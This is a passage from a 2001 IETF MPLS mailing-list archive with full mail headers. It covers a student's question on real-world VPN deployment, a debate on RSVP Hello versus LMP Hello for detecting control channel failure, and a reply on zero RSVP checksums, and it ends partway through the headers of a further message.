>I would be pleased of anyone can give me some more info also about the way 
>the seperate the VP/VCs for ATM and for MPLS.
>
>Greetings,
>
>Niels Sitters
>_________________________________________________________________________
>Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.
>
>-------
>The MPLS-OPS Mailing List
>Subscribe/Unsubscribe:  http://www.mplsrc.com/mplsops.shtml
>Archive: http://www.mplsrc.com/mpls-ops_archive.shtml



From owner-mpls@UU.NET  Wed May 30 10:17:07 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA12207
	for <mpls-archive@lists.ietf.org>; Wed, 30 May 2001 10:17:06 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrgj20516;
	Wed, 30 May 2001 14:17:26 GMT
Received: by mail-control.mail.uu.net 
	id QQkrgj25221
	for mpls-outgoing; Wed, 30 May 2001 14:16:48 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkrgj25183
	for <mpls@mail-control.mail.uu.net>; Wed, 30 May 2001 14:16:39 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkrgi11405
	for <mpls@uu.net>; Wed, 30 May 2001 14:14:37 GMT
Received: from sj-msg-core-2.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.24.11])
	id QQkrgi07188
	for <mpls@uu.net>; Wed, 30 May 2001 14:14:36 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4UEEdU23368
	for <mpls@uu.net>; Wed, 30 May 2001 07:14:39 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id KAA04603 for mpls@uu.net; Wed, 30 May 2001 10:14:35 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkrfr25838
	for <mpls@mail-control.mail.uu.net>; Wed, 30 May 2001 09:58:47 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrfr18691
	for <mpls@uu.net>; Wed, 30 May 2001 09:58:07 GMT
Received: from hotmail.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: f23.law4.hotmail.com [216.33.149.23])
	id QQkrfr28722
	for <mpls@uu.net>; Wed, 30 May 2001 09:58:07 GMT
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 30 May 2001 02:58:06 -0700
Received: from 212.25.110.131 by lw4fd.law4.hotmail.msn.com with HTTP;	Wed, 30 May 2001 09:58:06 GMT
X-Originating-IP: [212.25.110.131]
From: "Richard Jones" <orinoki@hotmail.com>
To: mpls@UU.NET
Subject: Real use of VPN
Date: Wed, 30 May 2001 09:58:06 -0000
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F236YHkidcDjoYAPNXR0000a33b@hotmail.com>
X-OriginalArrivalTime: 30 May 2001 09:58:06.0681 (UTC) FILETIME=[064B7490:01C0E8EF]
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi

I am a student writing a project on VPN's.
I'm familiar with most of the technology.
I am having problems finding any data on the real use
of this technology in real networks.

Everything you can add will be great.
Thanks in advance for all your help.

I know the overlay model (VPN over FR/ATM) was (and
probably still is) widely used in a large number of
ISP's - any comment on this assumption is welcome.

I am more interested in the other types of VPN.

The MPLS/BGP based VPN which is sort of new and I know
Juniper and Cisco support:
+ does it have any real network deployment?
+ how many ISP's actually use it?
+ how many intend to use it in their NGN?

The L2 VPN which is very new (no RFC yet?) and hot. it
looks like a great idea but I don't know of anyone is
supporting or deploying it.
+ does any vendor support it? Juniper?
+ did anyone deployed it?
+ does anyone plan to deploy it?
+ how many ISP's actually use it?
+ how many intend to use it in their NGN?

Regarding the last VPN type known to me which is
IPSec. I don't have any info on it and any will be
great. I know it is used but in what extent.
+ what is it mainly good for?
+ what is the advantage from other VPN's?
+ which vendors support it?
+ which device is mainly used for it?
+ what is the extent of the use of IPSec?
+ how many ISP's actually use it?
+ how many intend to use it in their NGN?

any other information regarding VPN will be great.
thanks again for all your help.

    Rick.

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com



From owner-mpls@UU.NET  Wed May 30 10:23:36 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA12588
	for <mpls-archive@lists.ietf.org>; Wed, 30 May 2001 10:23:36 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrgj25767;
	Wed, 30 May 2001 14:23:56 GMT
Received: by mail-control.mail.uu.net 
	id QQkrgj26405
	for mpls-outgoing; Wed, 30 May 2001 14:23:15 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkrgj26395
	for <mpls@mail-control.mail.uu.net>; Wed, 30 May 2001 14:23:06 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkrgj18840
	for <mpls@UU.NET>; Wed, 30 May 2001 14:23:00 GMT
Received: from alpha.tellium.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alpha.tellium.com [151.198.92.2])
	id QQkrgj23749
	for <mpls@UU.NET>; Wed, 30 May 2001 14:22:59 GMT
Received: from mail1.tellium.com (mail1 [151.198.92.140])
	by alpha.tellium.com (Switch-2.0.1/Switch-2.0.1) with ESMTP id f4UEKIV29502;
	Wed, 30 May 2001 10:20:18 -0400 (EDT)
Received: by mail1.tellium.com with Internet Mail Service (5.5.2650.21)
	id <LSMXX4WB>; Wed, 30 May 2001 10:24:12 -0400
Message-ID: <0CD7D73C734BD411AEE100B0D0220404019F68E9@mail1.tellium.com>
From: Dimitrios Pendarakis <DPendarakis@tellium.com>
To: "'Jonathan Lang'" <jplang@calient.net>, "'Fong Liaw'" <fliaw@zaffire.com>,
        "'suresh Katukam'" <skatukam@cisco.com>
Cc: "'Jennifer Yates'" <jyates@research.att.com>, mpls@UU.NET,
        ccamp@ops.ietf.org
Subject: RE: Last call - RSVP problems
Date: Wed, 30 May 2001 10:24:11 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Jonathan,

Could you please clarify why you think RSVP Hello doesn't work for 
parallel (redundant) control channels? Control channel redundancy 
is obviously important; however I don't think it relates to the 
usefulness of the RSVP hello mechanism, at least in the context of 
this discussion.

The whole issue is one of layering: LMP hello allows you to detect 
individual link (or control channel) failures; RSVP Hello allows
you to detect that you 've lost contact with your signaling peer
for whatever reason (failure of all redundant control channels, 
failure of the RSVP daemon, etc.). Since they operate at different
levels they are to some extend complementary; once RSVP Hello tells
you that your peer is not reachable, you could use LMP Hello's to 
try to pinpoint where the problem occurred. 

For clarification, the "control channel failure" mentioned in
Fong's mail that started this discussion refers to a failure of the
signaling channel, i.e., inability to communicate with your signaling
peer, not failure of specific (individual) control channels. As such, 
I still believe RSVP Hello is a more accurate detection mechanism.

Please see some additional comments inline.

Thanks,
Dimitris


>   If you're using the RSVP Hello to detect the failure of the 
> RSVP module
> only, then this is fine.  If you're using the RSVP Hello to detect (or
> rather, infer) control channel failures, I have a problem.  
> For starters, I
> don't think it works for parallel (redundant) control 
> channels; if control
> channel redundancy is *not* important for SPs, then it's not 
> as much of an
> issue, however, I think you're overloading the semantics of 
> the RSVP Hello.
> 
>   See additional comments inline.
> 
> Thanks,
> Jonathan
> 
> > 
> > Hi Jonathan,
> > 
> > What needs to be detected here is the inability to send and 
> > receive signaling messages to and from your RSVP peer. In this 
> > respect, using RSVP Hello is a more accurate mechanism for 
> > detecting failures since it is part of the RSVP protocol and 
> > independent of the link layer used to realize the control 
> > channel. As you point out, if you prefer redundant control 
> > channels for resiliency, and want to rely on LMP only, you have
> > to correlate all LMP detected failures in order to declare a 
> > control channel failure.
> This is not correct.  LMP allows you to detect individual 
> control channel
> failures, even when there are multiple (redundant) control 
> channels.  The
> RSVP Hello cannot do this.
> 

Sure, as I pointed above, RSVP Hello is not intended to detect 
individual link failures. At the risk of sounding repetitive, the
point here is that these are different mechanisms that serve 
different purpose. For example, if you have 3 (redundant) IP control 
channels and rely on LMP Hello only, in order to infer failure of the 
signaling channel with your peer, you would have to correlate LMP 
failures in all three channels. 

> > With RSVP Hello you would rely on a 
> > single set of event(s) to detect the failure.
> To be clear, the failure of the RSVP module.

Or simultaneous failure of all IP control channels...

> 
> > To go even further, what if all your control channels are working
> > fine, but your RSVP daemon has crashed, for whatever reason.
> > LMP hellos will keep going across but RSVP messages will not...
> This is where the RSVP Hello has its place.
> 
> > 
> > All this points to the (certainly non-trivial) problem of failure 
> > detection and correlation at different layers. I am not trying to
> > say that RSVP Hello is the perfect or only mechanism we should rely 
> > on, but it certainly has a place in addressing the problem.
> agreed.  see above comment.
> 
> > 
> > Thanks,
> > Dimitris
> > 
> > PS. Hopefully we are not too far apart so we might not have
> > to keep the discussion going for too long :-)
> > In any case I believe it has some relevance here as well.
> > 
> > 
> > > -----Original Message-----
> > > From: Jonathan Lang [mailto:jplang@calient.net]
> > > Sent: Friday, May 25, 2001 6:56 PM
> > > To: 'Dimitrios Pendarakis'; Jonathan Lang; 'Fong Liaw'; 'suresh
> > > Katukam'; v.sharma@ieee.org
> > > Cc: 'Jennifer Yates'; mpls@UU.NET; ccamp@ops.ietf.org
> > > Subject: RE: Last call - RSVP problems
> > > 
> > > 
> > > Dimitris,
> > >   The RSVP Hello Extension is intended to detect node 
> > failures and not
> > > necessarily link (control channel) failures.  In particular, 
> > > the tunnel
> > > draft says, "It should be noted that node failure detection 
> > > is not the same
> > > as a link failure detection mechanism, particularly in the 
> > > case of multiple
> > > parallel unnumbered links."  What happens if you want 
> > > redundant control
> > > channels for control-channel resiliency?  I believe you would 
> > > still want a
> > > mechanism to detect control channel (link-layer) failures.
> > > 
> > >   In LMP, you can have multiple active control channels 
> > > between a pair of
> > > nodes.  You can configure control channels over shared 
> > > Ethernet and over
> > > SONET/SDH overhead, etc.  You send keep-alive Hellos over 
> > each control
> > > channel.  If you so desire, you can send all signaling 
> > > messages over the
> > > Ethernet control channels.  You can also choose to send all 
> > > remaining LMP
> > > messages over the SONET/SDH-based control channels.  Keeping 
> > > RSVP Hellos as
> > > "optional" would be fine.  Making them mandatory doesn't seem 
> > > like the right
> > > solution.
> > > 
> > > Thanks,
> > > Jonathan
> > > 
> > > P.S.  Should we move this discussion on the OIF list??
> > > 
> > > > -----Original Message-----
> > > > From: Dimitrios Pendarakis [mailto:DPendarakis@tellium.com]
> > > > Sent: Friday, May 25, 2001 3:16 PM
> > > > To: 'Jonathan Lang'; 'Fong Liaw'; 'suresh Katukam'; 
> > > v.sharma@ieee.org
> > > > Cc: 'Jennifer Yates'; mpls@UU.NET; ccamp@ops.ietf.org
> > > > Subject: RE: Last call - RSVP problems
> > > > 
> > > > 
> > > > Hi Jonathan,
> > > > 
> > > > One point to consider is that the signaling control 
> > > > channel might be realized over a different link layer 
> > > > than LMP. For example, LMP might be running in-fiber
> > > > over SONET/SDH overhead bytes, while RSVP is running 
> > > > over an out-of-band network such a shared Ethernet.
> > > > RSVP Hello allows independent detection of signaling 
> > > > channel failure, so it's a useful option to keep.
> > > > 
> > > > Thanks,
> > > > Dimitris
> > > > 
> > > > Dimitris Pendarakis
> > > > Tellium, Inc.
> > > > 
> > > > 
> > > > > -----Original Message-----
> > > > > From: Jonathan Lang [mailto:jplang@calient.net]
> > > > > Sent: Friday, May 25, 2001 5:30 PM
> > > > > To: 'Fong Liaw'; 'suresh Katukam'; v.sharma@ieee.org
> > > > > Cc: 'Jennifer Yates'; mpls@UU.NET; ccamp@ops.ietf.org
> > > > > Subject: RE: Last call - RSVP problems
> > > > > 
> > > > > 
> > > > > Fong,
> > > > > 
> > > > > 
> > > > > <snip>
> > > > > > Same as (2), any proposals that remove the refresh 
> mechanism 
> > > > > > is going to be difficult to prove that all cases 
> are covered.
> > > > > > 
> > > > > > Instead, we (will) recommend the following in OIF UNI 
> > document:
> > > > > >    
> > > > > >    Use RSVP Hello to detect control channel failure.
> > > > > Why wouldn't you use the LMP Hello to detect control channel 
> > > > > failure?  This
> > > > > is exactly what it is designed for.  From 
> > > > > draft-ietf-mpls-lsp-tunnel-08.txt,
> > > > > 
> > > > >   "This (RSVP Hello) mechanism is intended to be used when 
> > > > > notification of
> > > > > link layer
> > > > >    failures is not available and unnumbered links are not 
> > > > > used, or when
> > > > >    the failure detection mechanisms provided by the link 
> > > > layer are not
> > > > >    sufficient for timely node failure detection."
> > > > >  
> > > > > >    If a control channel failure is detected, LSPs states 
> > > > > >    are maintained as if a node continues to receive 
> > > > > >    RSVP refresh message from the failed control channel.
> > > > > >    The recommended Hello timer will be in second range,
> > > > > >    instead of ms range specified in RSVP-TE draft.  
> > > > > > 
> > > > > >    If a control channel failed permanently, manual 
> > intervention 
> > > > > >    may be required. This is to be studied.
> > > > > > 
> > > > > > p.s The text is currently being drafted as we type.
> > > > > 
> > > > 
> > > 
> > 
> 


From owner-mpls@UU.NET  Wed May 30 10:49:00 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA13464
	for <mpls-archive@lists.ietf.org>; Wed, 30 May 2001 10:48:59 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrgl00776;
	Wed, 30 May 2001 14:49:18 GMT
Received: by mail-control.mail.uu.net 
	id QQkrgl00160
	for mpls-outgoing; Wed, 30 May 2001 14:48:44 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkrgl00139
	for <mpls@mail-control.mail.uu.net>; Wed, 30 May 2001 14:48:31 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkrgl20722
	for <mpls@UU.NET>; Wed, 30 May 2001 14:47:04 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQkrgl11492
	for <mpls@UU.NET>; Wed, 30 May 2001 14:47:04 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA02428
	for <mpls@UU.NET>; Wed, 30 May 2001 10:47:00 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA07358
	for <mpls@UU.NET>; Wed, 30 May 2001 10:47:00 -0400 (EDT)
Message-ID: <3B1507FC.6A08A4A5@marconi.com>
Date: Wed, 30 May 2001 10:47:24 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: RSVP Checksum
References: <20010529030255.60868.qmail@web14107.mail.yahoo.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

LDP Hello wrote:
> 
> Can RSVP messages    being used for MPLS sigannling
> can have checksum as ZERO ???

Yes.  A zero checksum means "don't care".  Checksum should not be
verified for the packet.

A sender should only send a zero checksum if some other mechanism (such
as use of the INTEGRITY object) is in place for detecting message
corruption.

Use of a zero checksum without any other error-detection mechanism is
technically legal, but it should not be done, because transmission
errors will not be detected.

-- David


From owner-mpls@UU.NET  Wed May 30 10:55:53 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA13708
	for <mpls-archive@lists.ietf.org>; Wed, 30 May 2001 10:55:52 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrgl15258;
	Wed, 30 May 2001 14:56:12 GMT
Received: by mail-control.mail.uu.net 
	id QQkrgl01325
	for mpls-outgoing; Wed, 30 May 2001 14:55:33 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkrgl01211
	for <mpls@mail-control.mail.uu.net>; Wed, 30 May 2001 14:55:22 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkrgl09506
	for <mpls@UU.NET>; Wed, 30 May 2001 14:55:17 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQkrgl13345
	for <mpls@UU.NET>; Wed, 30 May 2001 14:55:17 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA03301
	for <mpls@UU.NET>; Wed, 30 May 2001 10:55:14 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA10286
	for <mpls@UU.NET>; Wed, 30 May 2001 10:55:15 -0400 (EDT)
Message-ID: <3B1509EB.6FC91662@marconi.com>
Date: Wed, 30 May 2001 10:55:39 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: Last call - RSVP problems
References: <0CD7D73C734BD411AEE100B0D0220404019F68E9@mail1.tellium.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Dimitrios Pendarakis wrote:
> 
> Could you please clarify why you think RSVP Hello doesn't work for
> parallel (redundant) control channels?

RSVP Hello messages are sent between adjacent IP addresses.  If there
are multiple unnumbered links between two routers, only one set of
Hellos are generated for all the links.  If the multiple links are all
numbered, then Hello messages are sent for each of the links.

As a result of this, RSVP Hello can only detect link failure when all
links between two routers are numbered.  If there are unnumbered links
between two routers, Hellos will not be interrupted until all of the
links fail - meaning it will only detect node failure.

-- David


From owner-mpls@UU.NET  Wed May 30 11:17:12 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA14531
	for <mpls-archive@lists.ietf.org>; Wed, 30 May 2001 11:17:12 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrgn08355;
	Wed, 30 May 2001 15:17:32 GMT
Received: by mail-control.mail.uu.net 
	id QQkrgn23298
	for mpls-outgoing; Wed, 30 May 2001 15:17:00 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkrgn23269
	for <mpls@mail-control.mail.uu.net>; Wed, 30 May 2001 15:16:53 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkrgn26953
	for <mpls@UU.NET>; Wed, 30 May 2001 15:16:19 GMT
Received: from smtpproxy1.mitre.org by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mb-20-100.mitre.org [129.83.20.100])
	id QQkrgn18035
	for <mpls@UU.NET>; Wed, 30 May 2001 15:16:18 GMT
Received: from avsrv1.mitre.org (avsrv1.mitre.org [129.83.20.58])
	by smtpproxy1.mitre.org (8.9.3/8.9.3) with ESMTP id LAA26070
	for <mpls@UU.NET>; Wed, 30 May 2001 11:16:16 -0400 (EDT)
Received: from mailsrv2.mitre.org (mailsrv2.mitre.org [129.83.221.17])
	by smtpsrv1.mitre.org (8.9.3/8.9.3) with ESMTP id LAA03134
	for <mpls@UU.NET>; Wed, 30 May 2001 11:16:15 -0400 (EDT)
Received: from mitre.org ([128.29.105.195]) by
          mailsrv2.mitre.org (Netscape Messaging Server 4.15) with ESMTP
          id GE5MF200.OH7; Wed, 30 May 2001 11:16:14 -0400 
Message-ID: <3B150EBE.6980F34B@mitre.org>
Date: Wed, 30 May 2001 11:16:14 -0400
From: "Ta,Phong G." <pta@mitre.org>
Organization: The MITRE Corporation
X-Mailer: Mozilla 4.76 [en]C-20010313M  (Windows NT 5.0; U)
X-Accept-Language: en,pdf
MIME-Version: 1.0
To: Richard Jones <orinoki@hotmail.com>
CC: mpls@UU.NET
Subject: Re: Real use of VPN
References: <F236YHkidcDjoYAPNXR0000a33b@hotmail.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Rich,

Go to www.mplsrc.com.  There are lot of information, particular on
deployment issues.

Phong

Richard Jones wrote:
> 
> Hi
> 
> I am a student writing a project on VPN's.
> I'm familiar with most of the technology.
> I am having problems finding any data on the real use
> of this technology in real networks.
> 
> Everything you can add will be great.
> Thanks in advance for all your help.
> 
> I know the overlay model (VPN over FR/ATM) was (and
> probably still is) widely used in a large number of
> ISP's - any comment on this assumption is welcome.
> 
> I am more interested in the other types of VPN.
> 
> The MPLS/BGP based VPN which is sort of new and I know
> Juniper and Cisco support:
> + does it have any real network deployment?
> + how many ISP's actually use it?
> + how many intend to use it in their NGN?
> 
> The L2 VPN which is very new (no RFC yet?) and hot. it
> looks like a great idea but I don't know of anyone is
> supporting or deploying it.
> + does any vendor support it? Juniper?
> + did anyone deployed it?
> + does anyone plan to deploy it?
> + how many ISP's actually use it?
> + how many intend to use it in their NGN?
> 
> Regarding the last VPN type known to me which is
> IPSec. I don't have any info on it and any will be
> great. I know it is used but in what extent.
> + what is it mainly good for?
> + what is the advantage from other VPN's?
> + which vendors support it?
> + which device is mainly used for it?
> + what is the extent of the use of IPSec?
> + how many ISP's actually use it?
> + how many intend to use it in their NGN?
> 
> any other information regarding VPN will be great.
> thanks again for all your help.
> 
>     Rick.
> 
> _________________________________________________________________
> Get your FREE download of MSN Explorer at http://explorer.msn.com

-- 



--------------------------------------------------------
Phong Ta 

The MITRE Corporation
MS:   W650                         Ph:    703-883-6787
11493 Sunset Hills Road            Fax:   703-883-7142
Reston, Virginia  20190-5214       email: pta@mitre.org


From owner-mpls@UU.NET  Wed May 30 12:06:15 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA16004
	for <mpls-archive@lists.ietf.org>; Wed, 30 May 2001 12:06:15 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrgq08497;
	Wed, 30 May 2001 16:06:35 GMT
Received: by mail-control.mail.uu.net 
	id QQkrgq12561
	for mpls-outgoing; Wed, 30 May 2001 16:06:04 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkrgq11872
	for <mpls@mail-control.mail.uu.net>; Wed, 30 May 2001 16:05:55 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkrgq28023
	for <mpls@UU.NET>; Wed, 30 May 2001 16:05:21 GMT
Received: from shared1-mail.whowhere.com by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: shared1-batch.whowhere.com [209.185.123.82])
	id QQkrgq06088
	for <mpls@UU.NET>; Wed, 30 May 2001 16:05:21 GMT
Received: from Unknown/Local ([?.?.?.?]) by shared1-mail.whowhere.com; Wed May 30 09:05:08 2001
To: mpls@UU.NET, "David Charlap" <david.charlap@marconi.com>
Date: Wed, 30 May 2001 09:05:08 -0700
From: "Lyndon Ong" <lyndon_ong@eudoramail.com>
Message-ID: <BKGMHIDINIJIJBAA@shared1-mail.whowhere.com>
Mime-Version: 1.0
X-Sent-Mail: off
Reply-To: lyndon_ong@eudoramail.com
X-Mailer: MailCity Service
Subject: Re: Last call - RSVP problems
X-Sender-Ip: 63.96.78.21
Organization: QUALCOMM Eudora Web-Mail  (http://www.eudoramail.com:80) 
Content-Type: text/plain; charset=us-ascii
Content-Language: en
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hmm, I'm confused here - I did not think the discussion was 
about RSVP Hello's function, it's understood to be detecting
node failure rather than link or control channel failure.

I thought the question was whether RSVP Hello was necessary if
you have an alternative way of detecting control channel
failure, in which case you can tell when there are no control
channels left standing.  Detection of control channel failure
could be through LMP Hello or if you have some alternative 
means, like monitoring control channel error rates.

Cheers,

Lyndon
--

On Wed, 30 May 2001 10:55:39   David Charlap wrote:
>Dimitrios Pendarakis wrote:
>> 
>> Could you please clarify why you think RSVP Hello doesn't work for
>> parallel (redundant) control channels?
>
>RSVP Hello messages are sent between adjacent IP addresses.  If there
>are multiple unnumbered links between two routers, only one set of
>Hellos are generated for all the links.  If the multiple links are all
>numbered, then Hello messages are sent for each of the links.
>
>As a result of this, RSVP Hello can only detect link failure when all
>links between two routers are numbered.  If there are unnumbered links
>between two routers, Hellos will not be interrupted until all of the
>links fail - meaning it will only detect node failure.
>
>-- David
>


Join 18 million Eudora users by signing up for a free Eudora Web-Mail account at http://www.eudoramail.com


From owner-mpls@UU.NET  Wed May 30 12:40:27 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA17143
	for <mpls-archive@lists.ietf.org>; Wed, 30 May 2001 12:40:27 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrgs14929;
	Wed, 30 May 2001 16:40:46 GMT
Received: by mail-control.mail.uu.net 
	id QQkrgs22345
	for mpls-outgoing; Wed, 30 May 2001 16:40:14 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkrgs22315
	for <mpls@mail-control.mail.uu.net>; Wed, 30 May 2001 16:39:57 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrgs17540
	for <mpls@UU.NET>; Wed, 30 May 2001 16:39:23 GMT
Received: from father.pmc-sierra.bc.ca by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: father.pmc-sierra.bc.ca [216.241.224.13])
	id QQkrgs13521
	for <mpls@UU.NET>; Wed, 30 May 2001 16:39:22 GMT
Received: (qmail 399 invoked by uid 104); 30 May 2001 16:39:21 -0000
Received: from Sajith_Kizhikkepurayil@pmc-sierra.com by father with qmail-scanner-0.93 (uvscan: v4.0.70/v4074. . Clean. Processed in 0.386226 secs); 30/05/2001 09:39:21
Received: from unknown (HELO procyon.pmc-sierra.bc.ca) (134.87.115.1)
  by father.pmc-sierra.bc.ca with SMTP; 30 May 2001 16:39:21 -0000
Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251])
	by procyon.pmc-sierra.bc.ca (dave/8.11.2) with ESMTP id f4UGdKq18256
	for <mpls@UU.NET>; Wed, 30 May 2001 09:39:20 -0700 (PDT)
Received: by bby1exi01.pmc-sierra.bc.ca with Internet Mail Service (5.5.2653.19)
	id <KHBJJVLH>; Wed, 30 May 2001 09:43:19 -0700
Message-ID: <219DA90B32B7D411B90E00306E0071FC1529B7@sje4exm01.pmc-sierra.bc.ca>
From: Sajith Kizhikkepurayil <Sajith_Kizhikkepurayil@pmc-sierra.com>
To: mpls@UU.NET
Subject: how big is the virtual route table
